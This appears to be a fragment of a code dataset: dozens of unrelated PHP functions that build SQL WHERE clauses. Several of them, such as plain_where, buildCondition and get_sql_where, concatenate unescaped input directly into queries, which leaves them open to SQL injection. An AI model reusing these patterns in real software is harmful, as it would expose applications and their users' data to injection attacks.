($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_raw($key, $value);\n\t\t\t\t\t$sClause .= vsprintf(str_replace('?','%s',$key),$value) . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 3:\n\t\t $aWhere = $this->getInFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t\t$sClause .= $key . ' IN (' . implode(',',$value) . ')' . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t // $this->model->where_in($key, $value);\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 5:\n\t\t $aWhere = $this->getInRawFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_raw($key, $value);\n\t\t\t\t\t$sClause .= vsprintf(str_replace('?','%s',$key),$value) . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 6:\n\t\t $aWhere = $this->getDependendFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_raw($value, array());\n\t\t\t\t $sClause .= $value . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t }\n\t}\n\treturn $sClause;\n\t// return $this->model;\n }", "function plain_where($base) {\r\n for($i=1; $i<=$this->conditions; $i++) {\r\n ## Only create conditions for used input fields\r\n if ($GLOBALS[$base][\"input_\".$i] == \"\")\r\n continue;\r\n\r\n ## If necessary, add conjunction\r\n if ($q != \"\")\r\n $q .= sprintf(\" %s \", $GLOBALS[$base][\"conj_\".$i]);\r\n \r\n ## Handle \"like\"\r\n if ($GLOBALS[$base][\"comp_\".$i] == \"like\")\r\n $v = \"%\".$GLOBALS[$base][\"input_\".$i].\"%\";\r\n else\r\n $v = $GLOBALS[$base][\"input_\".$i];\r\n\r\n ## Create subcondition\r\n $q .= sprintf(\"%s %s '%s'\",\r\n $GLOBALS[$base][\"sel_\".$i],\r\n $GLOBALS[$base][\"comp_\".$i],\r\n $v);\r\n }\r\n \r\n if (!$q) {\r\n $q = \"1=0\";\r\n }\r\n \r\n return \"( $q )\";\r\n }", "protected function getQueryCondition()\n {\n $parts = [];\n foreach ($this->fields as $field) {\n $parts[] = \"{$field} LIKE :pattern\";\n }\n return implode(' AND ', $parts);\n }", "function createWhere($sql) {\n $where = $this->where;\n if(!empty($where)) {\n $sql .= \" WHERE \";\n for($i = 0; $i < count($where); $i++) {\n $sql .= $where[$i]->key . \" \" . $where[$i]->operator . \" \" . $where[$i]->placeholder;\n $afterCon = $where[$i]->afterCondition;\n if(!is_null($afterCon)) {\n $sql .= \" \" . $afterCon . \" \";\n }\n }\n }\n\n return $sql;\n }", "private static function buildCondition($params)\n {\n if (isset($params['where'])) {\n $conditions = [];\n foreach ($params['where'] as $field => $value) {\n $conditions[] = \"{$field}='{$value}'\";\n }\n\n return ' where ' . implode(' and ', $conditions);\n }\n\n return '';\n }", "protected function getWhereClause(array $where)\n {\n if (empty($where)) {\n return '';\n }\n\n $conditions = [];\n foreach ($where as $field => $value) {\n if (is_null($value)) {\n $conditions[] = \"`$field` IS NULL\";\n continue;\n }\n\n $conditions[] = \"$field = '$value'\";\n }\n\n return 'WHERE ' . implode(' AND ', $conditions);\n }", "function build_generic_where_clause ($the_query_string) {\n\t$where_clauses = Array();\n\t$the_query_string = $this->db->quote($the_query_string);\n\tarray_push($where_clauses, \"bugs.name like '$the_query_string%'\");\n\tif (is_numeric($the_query_string)) array_push($where_clauses, \"bugs.bug_number like '$the_query_string%'\");\n\n\t$the_where = \"\";\n\tforeach($where_clauses as $clause)\n\t{\n\t\tif($the_where != \"\") $the_where .= \" or \";\n\t\t$the_where .= $clause;\n\t}\n\n\treturn $the_where;\n\t}", "public function createWhere() {\n\t\tlist($where, $joins) = parent::createWhere();\n\t\tif (!($this->parent->parent instanceof QuerySet))\n\t\t\t$where = \" WHERE \" . $where;\n\t\telse\n\t\t\t$where = \" AND \" . $where;\n\t \n\t\treturn array($where, $joins);\n\t}", "private function _buildWhereClause($select)\n {\n global $zdb, $login;\n\n try {\n if ( $this->_start_date_filter != null ) {\n $d = new \\DateTime($this->_start_date_filter);\n $select->where('date_debut_cotis >= ?', $d->format('Y-m-d'));\n }\n\n if ( $this->_end_date_filter != null ) {\n $d = new \\DateTime($this->_end_date_filter);\n $select->where('date_debut_cotis <= ?', $d->format('Y-m-d'));\n }\n\n if ( $this->_payment_type_filter != null ) {\n $select->where('type_paiement_cotis = ?', $this->_payment_type_filter);\n }\n\n if ( $this->_from_transaction !== false ) {\n $select->where(\n Transaction::PK . ' = ?',\n $this->_from_transaction\n );\n }\n\n if ( $this->_max_amount !== null && is_int($this->_max_amount)) {\n $select->where(\n '(montant_cotis <= ' . $this->_max_amount .\n ' OR montant_cotis IS NULL)'\n );\n }\n $sql = $select->__toString();\n\n if ( !$login->isAdmin() && !$login->isStaff() ) {\n //non staff members can only view their own contributions\n $select->where('p.' . Adherent::PK . ' = ?', $login->id);\n } else if ( $this->_filtre_cotis_adh != null ) {\n $select->where('p.' . Adherent::PK . ' = ?', $this->_filtre_cotis_adh);\n }\n if ( $this->_filtre_transactions === true ) {\n $select->where('a.trans_id ?', new \\Zend_Db_Expr('IS NULL'));\n }\n $qry = $select->__toString();\n Analog::log(\n \"Query was:\\n\" . $qry,\n Analog::DEBUG\n );\n } catch (\\Exception $e) {\n /** TODO */\n Analog::log(\n __METHOD__ . ' | ' . $e->getMessage(),\n Analog::WARNING\n );\n }\n }", "public function buildWhereSQL(DialectInterface $dialect)\n {\n if (!isset($this->whereBuilder) || !$this->whereBuilder->hasConditions()) {\n return '';\n }\n\n return 'WHERE '.$this->whereBuilder->buildConditionSQL($dialect);\n }", "public function buildWhere(array $where = null, array &$values = [])\n {\n if ($where === null) {\n return '';\n }\n\n return 'WHERE ' . $this->buildCondition($where, $values);\n }", "public function build_where( $where = array() ) {\n global $wpdb;\n\n $sql = ' WHERE 1=1 ';\n\n foreach ( $where as $key => $value ) {\n $type = ( array_key_exists( $key, $this->field_types ) ) ? $this->field_types[ $key ] : '%s';\n if ( $type === 'date' ) {\n $date_query = new WP_Date_Query( $value, $this->get_row_suffix() . $key );\n $sql .= $date_query->get_sql();\n } else {\n $sql .= ' AND ' . $this->get_row_suffix() . $key . ' = ' . $wpdb->prepare( $type, $value ) . ' ';\n }\n }\n\n return $sql;\n }", "public function whereClause(){\n try {\n // Sparql11query.g:117:3: ( ( WHERE )? groupGraphPattern ) \n // Sparql11query.g:118:3: ( WHERE )? groupGraphPattern \n {\n // Sparql11query.g:118:3: ( WHERE )? \n $alt15=2;\n $LA15_0 = $this->input->LA(1);\n\n if ( ($LA15_0==$this->getToken('WHERE')) ) {\n $alt15=1;\n }\n switch ($alt15) {\n case 1 :\n // Sparql11query.g:118:3: WHERE \n {\n $this->match($this->input,$this->getToken('WHERE'),self::$FOLLOW_WHERE_in_whereClause412); \n\n }\n break;\n\n }\n\n $this->pushFollow(self::$FOLLOW_groupGraphPattern_in_whereClause415);\n $this->groupGraphPattern();\n\n $this->state->_fsp--;\n\n\n }\n\n }\n catch (RecognitionException $re) {\n $this->reportError($re);\n $this->recover($this->input,$re);\n }\n catch(Exception $e) {\n throw $e;\n }\n \n return ;\n }", "public function sqlWhere()\n {\n if ($this->isMultilingualAttribute()) {\n $strWhere = 'IFNULL(translation.' . $this->arrConfig['attribute'] . ', ' . Product::getTable() . '.' . $this->arrConfig['attribute'] . ')';\n } else {\n $strWhere = Product::getTable() . '.' . $this->arrConfig['attribute'];\n }\n\n $strWhere .= ' ' . $this->getOperatorForSQL() . ' ?';\n\n return $strWhere;\n }", "protected static function buildWhere( array $where, $conjunction = 'AND' ) {\n\t\tif ( $where ) {\n\t\t\treturn 'WHERE (' . implode( \") {$conjunction} (\", $where ) . ') ';\n\t\t}\n\t\treturn '';\n\t}", "public function getWhereClause()\n {\n return $this->where_clause;\n }", "public function resolveCondition($params)\n {\n $where_clause = $this->resolveConditionData($params);\n if ($where_clause) {\n $where_clause = \" WHERE \" . $where_clause;\n }\n\n // special params\n $paramsFunctional = array_change_key_case($params, CASE_UPPER);\n if (isset($paramsFunctional[self::OPERATOR_PREFIX . 'MATCH'])) {\n $MATCH = $paramsFunctional[self::OPERATOR_PREFIX . 'MATCH'];\n\n if (is_array($MATCH) && isset($MATCH['columns'], $MATCH['keyword'])) {\n $where_clause .= ($where_clause != '' ? ' AND ' : ' WHERE ') . ' MATCH (' . $this->quoteColumn($MATCH['columns']) . ') AGAINST (' . $this->_quoteVal_one($MATCH['keyword']) . ($MATCH['mode'] ? \" IN \" . strtoupper($MATCH['mode']) . \" MODE\" : \"\") . ')';\n }\n }\n\n if (isset($paramsFunctional[self::OPERATOR_PREFIX . 'GROUP'])) {\n $where_clause .= ' GROUP BY ' . $this->quoteColumn($paramsFunctional[self::OPERATOR_PREFIX . 'GROUP']);\n\n if (isset($paramsFunctional[self::OPERATOR_PREFIX . 'HAVING'])) {\n $where_clause .= ' HAVING ' . $this->resolveConditionData($paramsFunctional[self::OPERATOR_PREFIX . 'HAVING']);\n }\n }\n\n if (isset($paramsFunctional[self::OPERATOR_PREFIX . 'ORDER'])) {\n $where_clause .= ' ORDER BY ' . $this->quoteColumn($paramsFunctional[self::OPERATOR_PREFIX . 'ORDER']);\n }\n\n if (isset($paramsFunctional[self::OPERATOR_PREFIX . 'LIMIT'])) {\n $LIMIT = $paramsFunctional[self::OPERATOR_PREFIX . 'LIMIT'];\n if (is_numeric($LIMIT)) {\n $where_clause .= ' LIMIT ' . $LIMIT;\n if (isset($paramsFunctional[self::OPERATOR_PREFIX . 'OFFSET']) && is_numeric($paramsFunctional[self::OPERATOR_PREFIX . 'OFFSET'])) {\n $where_clause .= ' OFFSET ' . $paramsFunctional[self::OPERATOR_PREFIX . 'OFFSET'];\n }\n }\n else if (is_array($LIMIT) && is_numeric($LIMIT[0]) && is_numeric($LIMIT[1])) {\n if (isset($paramsFunctional[self::OPERATOR_PREFIX . 'OFFSET']) && is_numeric($paramsFunctional[self::OPERATOR_PREFIX . 'OFFSET'])) {\n $where_clause .= ' LIMIT ' . $LIMIT[1] . ' OFFSET ' . $paramsFunctional[self::OPERATOR_PREFIX . 'OFFSET'];\n }\n else {\n $where_clause .= ' LIMIT ' . $LIMIT[1] . ' OFFSET ' . $LIMIT[0];\n }\n }\n }\n\n return $where_clause;\n }", "protected function getWhere()\n {\n global $debug;\n global $warn;\n\n $where = ''; // return value\n $and = 'WHERE '; // combining operator\n $loose = false;\n $surname = '';\n\n // belt and suspenders\n if (!is_array($this->sqlParms))\n $this->sqlParms = array();\n\n // process parameters\n $translate = null;\n $initRow = $this->information['initrow'];\n $className = $this->information['classname'];\n $nsclass = __NAMESPACE__ . \"\\\\\" . $className;\n\n foreach($this->parms as $fldname => $value)\n { // loop through all parameters\n $expression = '';\n if (is_int($fldname) && is_array($value))\n { // OR expression\n $or = '';\n $orExpression = '';\n foreach($value as $fld2 => $val2)\n {\n $fieldLc = $nsclass::getRealFieldName($fld2);\n if (is_null($fieldLc))\n {\n $warn .= \"<p>RecordSet::getWhere: \" . __LINE__ .\n \" Unrecognized field name '$fldname' in selection criteria</p>\\n\";\n }\n else\n { // valid field names\n if (is_string($initRow[$fieldLc]))\n $expression = $this->getWherePattern($fieldLc,\n $val2);\n else\n if (is_int($initRow[$fieldLc]))\n $expression = $this->getWhereInt($fieldLc,\n $val2);\n else\n $expression = $this->getWhereCommon($fieldLc,\n $val2);\n if (strlen($expression) > 0)\n {\n $orExpression .= $or . $expression;\n $or = ' OR ';\n }\n } // valid field namess\n } // loop through comparisons\n if (strlen($orExpression) > 0)\n {\n $where .= $and . '(' . $orExpression . ')';\n $and = ' AND ';\n }\n } // OR expression\n else\n if (is_string($fldname))\n { // field name\n if (strtolower($fldname) == 'loosesurname')\n {\n if ($value == 'y' || $value == 'Y')\n $loose = true;\n else\n if (is_bool($value))\n $loose = $value;\n else\n if ($value === 1)\n $loose = true;\n continue;\n }\n if (preg_match('/^(\\w+)\\.(\\w+)/', $fldname, $matches))\n {\n $subtable = $matches[1];\n $info = Record::getInformation($subtable);\n $subclass = $info['classname'];\n $initRow = $info['initrow'];\n $fieldLc = strtolower($matches[2]);\n }\n else\n {\n $subclass = $nsclass;\n $fieldLc = $nsclass::getRealFieldName($fldname);\n $initRow = $this->information['initrow'];\n }\n\n if (is_null($fieldLc))\n {\n $warn .= \"<p>RecordSet::getWhere: \" . __LINE__ .\n \" Unrecognized field name '$fldname' in selection criteria for class $nsclass</p>\\n\";\n }\n else\n { // valid field names\n if (array_key_exists($fieldLc, $initRow))\n { // field defined in initrow\n if (is_string($initRow[$fieldLc]))\n {\n if ($fieldLc == 'surname')\n {\n if (is_string($value))\n $expression =\n $this->getWherePattern($fieldLc,\n $value);\n else\n $surname = $value;\n }\n else\n $expression =\n $this->getWherePattern($fieldLc,\n $value);\n }\n else\n if (is_int($initRow[$fieldLc]))\n $expression = $this->getWhereInt($fieldLc,\n $value);\n else\n {\n if ($debug)\n {\n $warn .= \"<p>RecordSet::getWhere: \" . __LINE__ .\n \" \\$initRow['$fieldLc']=\" .\n gettype($initRow[$fieldLc]) .\n \"</p>\\n\";\n foreach($initRow as $f => $v)\n $warn .= \"<p>RecordSet::getWhere: \" . __LINE__ . ' ' .\n $f . '=' . gettype($v) . \"='$v'</p>\\n\";\n }\n $expression = $this->getWhereCommon($fieldLc,\n $value);\n }\n if (strlen($expression) > 0)\n {\n $where .= $and . $expression;\n $and = ' AND ';\n }\n } // field defined in initrow\n else\n $warn .= \"<p>RecordSet::getWhere: \" . __LINE__ .\n \" '$fieldLc' <b>not</b> defined in initRow for class $subclass</p>\\n\";\n } // valid field names\n } // field name\n else\n $warn .= \"<p>RecordSet::getWhere: \" . __LINE__ .\n \" Unrecognized field name \" .\n print_r($fldname,true) .\n \" in selection criteria</p>\\n\";\n } // loop through all parameters\n\n if (strlen($surname) > 0)\n { // add surname check\n $loosetext = 'false';\n if ($loose)\n {\n $loosetext = 'true';\n $expression = $this->getSurnameChk($this->table,\n $surname);\n }\n else\n {\n if (preg_match('/\\^[a-zA-Z ]*\\$/', $surname))\n $surname = substr($surname, 1, strlen($surname) -2);\n $surnameRec = new Surname(array('surname' => $surname));\n $pattern = $surnameRec['pattern'];\n $soundslike = $surnameRec['soundslike'];\n if (strlen($pattern) > 0)\n {\n $surnameSet = new RecordSet('Surnames',\n array('surname' => $pattern));\n $surname = array();\n foreach($surnameSet as $record)\n $surname[] = \"^\" . $record['surname'] . \"$\";\n }\n else\n if (strlen($soundslike) > 0)\n {\n $surnameSet = new RecordSet('Surnames',\n array('soundslike' => $soundslike));\n $surname = array();\n foreach($surnameSet as $record)\n $surname[] = \"^\" . $record['surname'] . \"$\";\n }\n \n $expression = $this->getWherePattern('surname',\n $surname);\n }\n $where .= $and . $expression;\n $and = ' AND ';\n } // add surname check\n\n return $where;\n }", "public function buildQuery() {\n\t\t$where = (sizeof($this->wheres) > 0) ? ' WHERE '.implode(\" \\n AND \\n\\t\", $this->wheres) : '';\n\t\t$order = (sizeof($this->orders) > 0) ? ' ORDER BY '.implode(\", \", $this->orders) : '' ;\n\t\t$group = (sizeof($this->groups) > 0) ? ' GROUP BY '.implode(\", \", $this->groups) : '' ;\n\t\t$query = 'SELECT '.implode(\", \\n\\t\", $this->fields).\"\\n FROM \\n\\t\".$this->class->table.\"\\n \".implode(\"\\n \", $this->joins).$where.' '.$group.' '.$order.' '.$this->limit;\n\t\treturn($query);\n\t}", "protected function _buildQueryWhere(KDatabaseQuery $query)\n\t{\n \tif($search = trim($this->_state->search))\n\t\t{\n\t\t\t$parts\t= explode(' ', $search);\n\t\t\t$states\t= array();\n\t\t\tforeach($parts as $i => $part)\n\t\t\t{\n\t\t\t\tif(strpos($part, ':') === false) continue;\n\t\t\t\t$keys = explode(':', $part);\n\t\t\t\t$states[$keys[0]] = $keys[1];\n\t\t\t\tunset($parts[$i]);\n\t\t\t}\n\t\t\t\n\t\t\tif($states)\n\t\t\t{\n\t\t\t\t$conditions = array();\n\t\t\t\tforeach(array('username', 'email') as $key)\n\t\t\t\t{\n\t\t\t\t\tif(isset($states[$key]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$query->where('tbl.'.$key, 'LIKE', '%'.$states[$key].'%');\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif($parts) $query->where('tbl.name', 'LIKE', '%'.implode($parts).'%');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//To avoid auto quoting, and also trim trailing whitespace\n\t\t\t\t$search = $this->getTable()->getDatabase()->quoteValue('%'.strtoupper($search).'%');\n\t\t\t\t$name \t= '';\n\n\t\t\t\tif (JFactory::getApplication()->isAdmin())\n\t\t\t\t\t\t$name = 'tbl.name LIKE '.$search.' OR';\n\t\t\t\t$query\n\t\t\t\t\t ->where(\"($name tbl.username LIKE $search OR tbl.email LIKE $search OR person.alias LIKE $search)\")\n\t\t\t\t\t /*->where('tbl.name', 'LIKE', '%'.$search.'%', 'or')\n\t\t\t\t\t ->where('tbl.username', 'LIKE', '%'.$search.'%', 'or')\n\t\t\t\t\t ->where('tbl.email', 'LIKE', '%'.$search.'%', 'or')*/;\n\t\t\t}\n\t\t}\n\t\t\n\t\t$group = $this->_state->usergroup;\n\t\tif($group)\n\t\t{\n\t\t\t$column = version_compare(JVERSION,'1.6.0','ge') ? 'group_id' : 'gid';\n\t\t\t$query->where($column, '=', (int)$group);\n\t\t}\n\t\t\n\t\tif(!$this->_state->me)\n\t\t{\n\t\t $me = $this->getService('com://admin/ninjaboard.model.people')->getMe();\n\t\t\t$query->where('tbl.id', '!=', $me->id);\n\t\t}\n\t\t\n\t\t//Don't show blocked users\n\t\t$query->where('tbl.block', '=', 0);\n\n\t\tparent::_buildQueryWhere($query);\n\t}", "protected function _buildWhere(array $filter_data = array())\n {\n\t\t$where = \"1\";\n \t\n \tif( isset($filter_data['category']) && $filter_data['category'] )\n\t\t{\n\t\t\t$where .= \" AND {$this->c_table}.category_id=\".intval($filter_data['category']);\n\t\t}\n\t\t\n\t\treturn $where;\n }", "private function buildWhere($existing, $add)\n {\n if(empty($existing))\n return \"WHERE {$add} \";\n else\n return \"{$existing} AND {$add} \";\n }", "public function build()\n {\n return empty($this->conditions) ? '' : ' WHERE '.implode(' AND ', $this->conditions);\n }", "function get_sql_where(){\r\n\t\t$where_str='';\r\n\t\t$multiple_search_str='';\r\n\r\n\t\tif(stripos($this->sql_query,' WHERE ')!==false){\r\n\t\t\tif(stripos($this->sql_query,' ORDER BY ')!==false)\r\n\t\t\t\t$where_str_ini='('.substr($this->sql_query,stripos($this->sql_query,' WHERE ')+7,stripos($this->sql_query,' ORDER BY ')-stripos($this->sql_query,' WHERE ')-7).')';\r\n\t\t\telseif(stripos($this->sql_query,' LIMIT ')!==false)\r\n\t\t\t\t$where_str_ini='('.substr($this->sql_query,stripos($this->sql_query,' WHERE ')+7,stripos($this->sql_query,' LIMIT ')-stripos($this->sql_query,' WHERE ')-7).')';\r\n\t\t\telse\r\n\t\t\t\t$where_str_ini='('.substr($this->sql_query,stripos($this->sql_query,' WHERE ')+7).')';\r\n\t\t}else{\r\n\t\t\t$where_str_ini='';\r\n\t\t}\r\n\r\n\t\t// adds the extra columns in consideration\r\n\t\t$arr_sql_fields=$this->sql_fields;\r\n\t\tfor($i=0; $i<count($this->extra_cols); $i++)\r\n\t\t\tarray_splice($arr_sql_fields, $this->extra_cols[$i][0]-1, 0, '');\r\n\r\n\t\tfor($i=0; $i<count($arr_sql_fields); $i++){\r\n\r\n\t\t\tif(empty($this->multiple_search[$i]))\r\n\t\t\t\t$this->multiple_search[$i]='';\r\n\r\n\t\t\tif($this->search!='' and $this->search_init[$i]!='f')\r\n\t\t\t\t$where_str.=(($i==0 and $where_str_ini) ? ' AND ' : '').($where_str ? ' OR ' : '(').$arr_sql_fields[$i].\" LIKE '%\".$this->search.\"%'\";\r\n\r\n\t\t\tif(count($this->multiple_search)>0 and $this->multiple_search[$i]!='' and $this->multiple_search_init[$i]!='f')\r\n\t\t\t\t$multiple_search_str.=(($where_str_ini or $where_str or $multiple_search_str) ? ' AND ' : '').$arr_sql_fields[$i].\" LIKE '%\".$this->multiple_search[$i].\"%'\";\r\n\r\n\t\t}\r\n\r\n\t\tif($where_str!='')\r\n\t\t\t$where_str.=')';\r\n\r\n\t\treturn (($where_str_ini or $where_str or $multiple_search_str) ? ' WHERE ' : '').$where_str_ini.$where_str.$multiple_search_str;\r\n\t}", "protected abstract function getWhereClause(array $conditions);", "private function getWhereClause($conn, $where){\n\t\tif (!is_array($where)){\n\t\t\treturn \"\";\n\t\t}\n\t\t$sql_where=\"\";\n\t\tforeach($where as $field => $val){\n\t\t\tif (!array_key_exists($field, $this->fields)){\n\t\t\t\tthrow new Exception(\"Field \" . $field . \" does not exists\");\n\t\t\t}\n\t\t\t$field_info=$this->fields[$field];\n\t\t\tif ($sql_where!=\"\"){\n\t\t\t\t$sql_where = $sql_where . \" AND \";\n\t\t\t}\n\t\t\tif (is_array($val) ) {\n\t\t\t\tif (count($val) > 0) {\n\t\t\t\t\t$sql_where = $sql_where . \"`\" . $field . \"` IN (\";\n\t\t\t\t\t$quoted_values = array();\n\t\t\t\t\tforeach ($val as $v) {\n\t\t\t\t\t\t$quoted_values[] = $this->quote($conn, $v, $field_info[\"type\"]);\n\t\t\t\t\t}\n\t\t\t\t\t$sql_where = $sql_where . implode(', ', $quoted_values).')';\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$sql_where = $sql_where . \"`\" . $field . \"` = \";\n\t\t\t\t$sql_where = $sql_where . $this->quote($conn, $val, $field_info[\"type\"]);\n\t\t\t}\n\t\t}\n\t\treturn $sql_where;\n\t}", "function _add_where_clause($where_clauses, $join)\n {\n $clauses = array();\n foreach ($where_clauses as $clause) {\n extract($clause);\n if ($this->object->has_column($column)) {\n $column = \"`{$column}`\";\n }\n if (!is_array($value)) {\n $value = array($value);\n }\n foreach ($value as $index => $v) {\n $v = $clause['type'] == 'numeric' ? $v : \"'{$v}'\";\n $value[$index] = $v;\n }\n if ($compare == 'BETWEEN') {\n $value = \"{$value[0]} AND {$value[1]}\";\n } else {\n $value = implode(', ', $value);\n if (strpos($compare, 'IN') !== FALSE) {\n $value = \"({$value})\";\n }\n }\n $clauses[] = \"{$column} {$compare} {$value}\";\n }\n $this->object->_where_clauses[] = implode(\" {$join} \", $clauses);\n }", "public function get_where_condition($where = []) {\n\t\t\t// Init bindings params\n\t\t\t$this->bindings = [];\n\n\t\t\t// If $where is not empty\n\t\t\tif (count($where) > 0) {\n\t\t\t\t// Loop through conditions\n\t\t\t\tforeach ($where as $col => $val) {\n\t\t\t\t\t// Transform [col => val] to \"col = ?\"\n\t\t\t\t\t$where[] = \"$col = ?\";\n\t\t\t\t\t// Add the value to the bindings params\n\t\t\t\t\t$this->bindings[] = $val;\n\t\t\t\t\t// Remove the array of [col => val]\n\t\t\t\t\tunset($where[$col]);\n\t\t\t\t}\n\t\t\t\t// Transfome [\"col1 = ?\", \"col2 = ?\"] to \"col1 = ? AND col2 = ?\"\n\t\t\t\t$where = implode(' AND ', $where);\n\t\t\t\t// Add WHERE satatement before\n\t\t\t\t$where = \"WHERE $where\";\n\t\t\t\t// Return the where conditions string\n\t\t\t\treturn $where;\n\t\t\t}\n\n\t\t\t// Else\n\t\t\t// Return empty string\n\t\t\treturn '';\n\t\t}", "function translated_plain_where($base, $field) {\r\n for($i=1; $i<=$this->conditions; $i++) {\r\n ## Only create conditions for used input fields\r\n if ($GLOBALS[$base][\"input_\".$i] == \"\")\r\n continue;\r\n\r\n ## If necessary, add conjunction\r\n if ($q != \"\")\r\n $q .= sprintf(\" %s \", $this->dict[$this->lang][$GLOBALS[$base][\"conj_\".$i]]);\r\n \r\n ## Handle \"like\"\r\n if ($GLOBALS[$base][\"comp_\".$i] == \"like\")\r\n $c = $this->dict[$this->lang][$GLOBALS[$base][\"comp_\".$i]];\r\n else\r\n $c = $this->compare[$GLOBALS[$base][\"comp_\".$i]];\r\n\r\n ## Create subcondition\r\n $q .= sprintf(\"%s %s '%s'\",\r\n $field[$GLOBALS[$base][\"sel_\".$i]],\r\n $c,\r\n $GLOBALS[$base][\"input_\".$i]);\r\n }\r\n \r\n if (!$q) {\r\n $q = \"1=0\";\r\n }\r\n \r\n return \"( $q )\";\r\n }", "private static function genPrimaryKeyWhereClause() {\n return \"WHERE \" . self::ID_KEY . \"=\" . self::transformForPreparedStatement(self::ID_KEY);\n }", "public function where() {\r\n\t\t$args = func_get_args();\r\n\t\t$expr = array_shift($args);\r\n\t\tarray_push($this->_wheres, '(' . $this->_parameterize($expr, $args) . ')');\r\n\t\t$this->_dirty = true;\r\n\t}", "protected function getWhere(): string\n {\n return ($this->where && !$this->where->isEmpty() ? \"\\r\\nWHERE \".$this->where : \"\");\n }", "function getWhereClause($local = array()) {\n global $whereFilter;\n\n $where = array_merge($local, $whereFilter);\n if (count($where) > 0) {\n $output = \" where \" . implode(\" and \", $where) . \" \";\n return $output;\n } else {\n return \"\";\n }\n}", "private function mergeWhere(){\n $wheres = $this->wheres;\n if (count($wheres) == 1)\n return $wheres[0];\n $whereString = \"\";\n foreach ($wheres as $where){\n $whereString .= $where.\" AND \";\n }\n return rtrim($whereString, \" AND \");\n }", "protected function _whereCondition($condition) \n\t{\n\t\t$result = 'WHERE ';\n\n\t\tforeach ($condition as $key => $value) {\n\t\t\tif (in_array($key, $this->_fields)) {\n\t\t\t\tif (!is_array($value)) {\n\t\t\t\t\t$this->_stringData($condition);\n\t\t\t\t\t$result .= \"`\" . $key . \"`=\" . $value. ' AND ';\n\t\t\t\t} else {\n\t\t\t\t\t$result .= $this->_moreWhere($key, $value);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//substr last 'and'\n\t\t$result = substr($result, 0, -5);\n\n\t\treturn $result;\n\t}", "private function buildWhere ($array) {\n\n // Only do anything if the array contains anything\n if($array){ \n\n // Loop through the array where $key is the column name and $value are the \n // array containing the operator [0] and values [1]\n foreach($array as $key => $value){ \n\n // We set each element of the where clause to $this->where before setting it to\n // $this->show_where. If it already exists we must have already have something\n // in the where clause so set $preSql to ' AND ' otherwise set it to ' WHERE '\n $preSql = (isset($this->where)) ? ' AND ' : ' WHERE ';\n\n // As we need different ways of building the where clause elements, depending on\n // the operator ($value[0]), we run a switch statement to call the function to\n // build the correct type of element, passing in the field name ($key) and the\n // operator and criteria ($value array)\n switch($value[0]) {\n case '>':\n case '<':\n case '=':\n case '<=':\n case '>=':\n case '!=':\n case '<>':\n case 'LIKE':\n $this->where = $this->whereElementStandard ($key, $value);\n break;\n\n case 'IN':\n $this->where = $this->whereElementIn ($key, $value); \n break;\n\n case 'BETWEEN':\n $this->where = $this->whereElementBetween ($key, $value); \n break;\n case 'NULL':\n case 'NOT NULL':\n $this->where = $this->whereElementNull ($key, $value); \n break;\n\n default:\n $this->where = $this->whereElementStandard ($key, $value);\n break;\n } // End switch\n\n \n // Add the created where clause elements to $this->show_where\n $this->show_where .= $preSql.$this->where;\n } // End foreach\n } // End if $array\n }", "public function where()\n {\n $args = func_get_args();\n $num_args = count($args);\n \n // Custom queries\n if ( $num_args == 2 && is_array($args[1]) )\n {\n $this->where = $args[0];\n $this->params = $args[1];\n }\n else\n {\n // AND equality condition\n if ( $num_args == 2 )\n {\n list($field, $value) = $args;\n $op = '=';\n }\n // AND with custom operation condition\n else\n {\n list($field, $op, $value) = $args;\n }\n $this->appendWhere('AND', $field, $op, $value); \n }\n return $this;\n }", "public function build()\n {\n $query = $this->qb;\n if ($this->getWhereExpression()) {\n $query->where($this->getWhereExpression());\n }\n foreach ($this->getWhereParameters() as $key => $param) {\n $query->setParameter($key, $param, is_array($param) ? Connection::PARAM_STR_ARRAY : null);\n }\n\n return $query;\n }", "public static function createWhereStatement($arr_filter) {\n\n\n\t\t/**\n\t\t * @var $ilDB \\ilDBInterface\n\t\t */\n\t\t$ilDB = $GLOBALS['DIC']->database();\n\t\t$where = array();\n\n\n\t\t$where[] = '(question.assisted_exercise_id = ' . $ilDB->quote($arr_filter['obj_id'], 'integer') . ')';\n\n\t\tif(!empty($arr_filter['firstname'])) {\n\t\t\t$where[] = $ilDB->like(\"usr.firstname\", \"text\", \"%\"\n\t\t\t\t. $arr_filter['firstname']\t. \"%\");\n\n\t\t}\n\n\t\tif(!empty($arr_filter['lastname'])) {\n\t\t\t$where[] = $ilDB->like(\"usr.lastname\", \"text\", \"%\"\n\t\t\t\t. $arr_filter['lastname']\t. \"%\");\n\t\t}\n\n\t\tif(!empty($arr_filter['title'])) {\n\t\t\t$where[] = $ilDB->like(\"question.title\", \"text\", \"%\"\n\t\t\t\t. $arr_filter['title']\t. \"%\");\n\n\t\t}\n\n\n\t\tif($arr_filter['isassessed'] == 1) {\n\t\t\t$where[] = '(answer.is_assessed = ' . $ilDB->quote(0, 'integer') . ' OR answer.is_assessed is Null)';\n\t\t}\n\t\tif($arr_filter['isassessed'] == 2) {\n\t\t\t$where[] = '(answer.is_assessed = ' . $ilDB->quote(1, 'integer') . ')';\n\t\t}\n\n\n\n\t\tif (!empty($where)) {\n\t\t\treturn ' WHERE ' . implode(' AND ', $where) . ' ';\n\t\t} else {\n\t\t\treturn '';\n\t\t}\n\t}", "function getSQLWhereCondition($query_header, 